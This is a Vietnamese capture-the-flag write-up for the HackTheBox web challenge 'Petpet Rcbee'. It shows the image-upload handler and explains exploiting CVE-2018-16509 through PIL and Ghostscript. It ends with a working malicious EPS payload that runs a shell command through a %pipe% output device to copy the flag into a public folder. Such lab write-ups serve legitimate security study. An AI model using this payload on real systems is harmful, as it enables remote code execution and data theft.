HTB Petpet Rcbee
Petpet rcbee là một web challenge. Sau khi xem xét thì thấy rằng trang web chỉ có một chức năng duy nhất là upload 1 ảnh sau đó “pet” ảnh này.
Oke kiểm tra source code xem có gì có thể lợi dụng để RCE thông qua file được tải lên hay không
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def petpet(file):
if not allowed_file(file.filename):
return {'status': 'failed', 'message': 'Improper filename'}, 400
try:
tmp_path = save_tmp(file)
bee = Image.open(tmp_path).convert('RGBA')
frames = [Image.open(f) for f in sorted(glob.glob('application/static/img/*'))]
finalpet = petmotion(bee, frames)
filename = f'{generate(14)}.gif'
finalpet[0].save(
f'{main.app.config["UPLOAD_FOLDER"]}/{filename}',
save_all=True,
duration=30,
loop=0,
append_images=finalpet[1:],
)
os.unlink(tmp_path)
return {'status': 'success', 'image': f'static/petpets/{filename}'}, 200
except:
return {'status': 'failed', 'message': 'Something went wrong'}, 500
Ảnh sau khi được tải được xử lý bằng hàm petpet. Bên trong thực hiện các thao tác như lưu ảnh vào file tạm, generate một ảnh gif dựa trên ảnh này, sau đó đưa nó vào thư mục theo đường dẫn là biến UPLOAD_FOLDER ở trong config. Cuối cùng là xóa ảnh trong tmp.
Trang web này sử dụng một thư viện là PIL để xử lý ảnh, để xem PIL có CVE nào k. Sau khi xem xét một vòng thì có 1 CVE liên quan đến PIL và Ghostscript để RCE là CVE-2018-16509, check lại thì bên trong file docker có tồn tại cái gọi là Ghostscript thật.
Sử dụng luôn craft image của CVE, chạy thử trên local
Oke vậy là đã RCE được, bây giờ cần làm thế nào để đọc được flag được dấu bên trong. Để ý rằng có một đường dẫn tệp được public là UPLOAD_FOLDER (/static/petpets/). Vậy chỉ cần đọc file flag và ghi vào một file bất kỳ trong đường dẫn này là xong.
1
2
3
4
5
6
7
8
9
10
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%cat flag > application/static/petpets/test.txt) currentdevice putdeviceprops